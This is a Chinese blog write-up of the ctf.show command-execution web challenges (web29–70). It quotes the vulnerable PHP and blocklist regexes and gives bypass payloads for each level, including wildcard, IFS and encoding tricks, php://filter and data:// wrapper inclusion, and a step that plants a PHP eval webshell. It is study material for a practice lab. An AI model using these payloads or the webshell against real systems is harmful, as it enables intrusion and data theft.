ctf show--web 入門 命令執行篇部分題解
技術標籤:ctf
最近和朋友一起入了ctf show的坑,在這裡記錄一下刷題過程以及從大佬那裡學到的姿勢。
1
命令執行
web29(萬用字元)
需要得到flag.php裡的內容,但是flag被過濾了。
這題考察的知識點是萬用字元,這篇部落格有具體的介紹:萬用字元和正則的區別。
例如構造: ?c=system('cat f*');
*
可以匹配 0 或多個字元,?
可以匹配任意一個字元。
cat f*
就可以開啟當前目錄下所有f開頭的檔案。
然後檢視原始碼得到flag
web30(反引號執行系統命令)
這題過濾了flag、system、php
三個字串,上一題的payload就不適用了。
可以利用反引號執行系統命令,如:
?c=echo `cat f*`;
?c=echo `cat f???????`;
web31
這題過濾的更多(包括空格):
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
我是想不出有什麼好用的辦法了,參考hint和大佬的部落格,payload1:
?c=highlight_file(next(array_reverse(scandir (dirname(__FILE__)))));
其中第二個姿勢的解析:
①:print_r(scandir(dirname(__FILE__)));
檢視當前目錄下檔案
②:print_r(next(array_reverse(scandir(dirname(__FILE__)))));
找到flag.php
③:highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
最後高亮顯示
payload2:
這裡的姿勢正常一些,都是針對過濾的繞過(師傅們tql)。
cat被過濾時
more:一頁一頁的顯示檔案內容
less:與 more 類似 head:檢視頭幾行
tac:從最後一行開始顯示,可以看出 tac 是cat 的反向顯示
tail:檢視尾幾行
nl:顯示的時候,順便輸出行號
od:以二進位制的方式讀取檔案內容
vi:一種編輯器,這個也可以檢視
vim:一種編輯器,這個也可以檢視
sort:可以檢視
uniq:可以檢視 file -f:報錯出具體內容 grep
1、在當前目錄中,查詢字尾有 file 字樣的檔案中包含 test 字串的檔案,並打印出該字串的行。此時,可以使用如下命令: grep test *file strings
空格被過濾時
1. ${IFS}替換
2. $IFS$1替換
3. ${IFS替換
4. %20替換
5. <和<>重定向符替換
6. %09替換
7. 拼接(很強) 如:?ip=1;a=g;cat$IFS$1fla$a.php; (flag被過濾時)
大佬們的姿勢:
?c=eval($_GET[1]);&1=system('nl flag.php');
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=echo(`nl%09fl[abc]*`);
?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等價於system()
?c=echo`strings%09f*`;
?c=echo`strings\$IFS\$9f*`必須加轉義字元
?c=echo(`more%09f*`);
web32
在31題的基礎上又過濾了
` ; echo (
分號可以用?>
繞過,括號用""
繞過,再配合$
和偽協議的姿勢:
?c=include"$_GET[1]"?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
試了一下發現不帶這個雙引號也行:
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
執行後得到一串base64密文,解碼得到flag
web33-36
33題把"
也過濾了
34題又多過濾了一個:
35題又過濾了=
和<
可以一把梭:
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
36題多過濾了/
和數字,把1換成一個字母就行。
web37(data偽協議)
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
過濾了flag,還進行了include檔案包含,使用data偽協議。
1,寫入一句話:
?c=data:text/plain,<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['hack']);?>")?>
然後蟻劍連線即可(https://url/shell.php)
2,讀取
?c=data:text/plain,<?php system('cat f*')?> #過濾了flag,這樣構造相當於直接讀取了flag.php
web38
這題把flag、file、php都過濾了,需要在37的姿勢上變化一下。
(base64加密後)
data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
檢視原始碼得到flag
web39
過濾了flag,限制了字尾(.php)
姿勢和37一樣
?c=data:text/plain,<?php system('cat f*')?>
web40
好傢伙,直接過濾一堆
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
可以使用無引數函式進行檔案讀取,payload同31題。
web41(未解出)
web42
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
這題可以直接
?c=ls;
?c=cat flag.php;
群主給的提示是cat flag.php%0a
,用%0a
讓那後面那串東西無效。
web43
過濾了;
和cat
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
這題其實姿勢挺多的,被過濾的cat
可以用很多其他命令替換,末尾再%0a
截斷。
?c=nl flag.php%0a
?c=tac flag.php%0a
?c=more flag.php%0a
web44
在web43的基礎上多過濾了一個flag
,只要在之前的payload基礎上使用萬用字元即可。
?c=nl f*%0a
?c=tac f*%0a
?c=more f*%0a
web45
又多過濾了一個空格,參考web31中空格的繞過方法,把空格替換即可。
web46
過濾了;
、cat
、flag
、空格
、數字
、$
、*
。
payload:
?c=nl%09fla?????%0a
web47-49
payload
?c=nl%09fla?????%0a
web50
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
%09
和萬用字元不好使了,用重定向符<
或<>
替換%09
,用""
''
\
繞過對flag
的限制,也可以用 ||
代替%0a
(||預設前面前面執行成功就不執行後面)。
?c=nl<>fla''g.php%0a
?c=nl<>fla""g.php%0a
?c=nl<fla''g.php%0a
?c=nl<>fla''g.php||
?c=nl<>fla\g.php%0a
web51
payload同web50
web52
很多替換空格的字元被過濾了,但是$
沒有被過濾,所以在web50的基礎上把空格換成$IFS
即可
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
web53
少了一些限制,不需要在末尾進行命令分割了。
web54
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
正則的過濾更加嚴格了
grep
grep test *file
在當前目錄中,查詢字尾有 file 字樣的檔案中包含 test 字串的檔案,並打印出該字串的行
payload1:
?c=grep${IFS}'{'${IFS}fl???php #查詢含有{的檔案,並打印出包含 { 的這一行
bin目錄
bin為binary的簡寫主要放置一些 系統的必備執行檔例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
payload2:
/bin/?at${IFS}f???????
web55-56
不會做,參考大佬部落格:
https://blog.csdn.net/qq_46091464/article/details/108513145
https://blog.csdn.net/qq_46091464/article/details/108557067
web57
這題是讓我們在限制條件之下構造36這個數字。
<?php
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
這裡是學習的Y4大佬的思路,利用$(( ))與整數運算
。
$(())------是-1
$((~37))------是36
所以我們只需要保證中間是-37即可,
$((~$(())$(())))---是1
所以
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))代表36,即可獲取flag
群主還給了另一種姿勢:
?c=grep${IFS}'fla'${IFS}fla??php
web58-65(繞過disable_functions系列)
從58開始是繞過disable_functions系列
通用payload:
c=echo highlight_file('flag.php');
c=show_source("flag.php");
c=highlight_file("flag.php");
還可以用web31中的payload1裡的姿勢
web66-67
首先掃目錄(web67中print_r被禁了,換成var_dump),發現有flag.txt
,然後:
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');
web68-70
show_source
、highlight_file
、file_get_contents
等文字顯示的程式碼基本都被禁了,所以換成include
、require
這些檔案包含的,payload:
c=include('/flag.txt')
c=require_once('/flag.txt');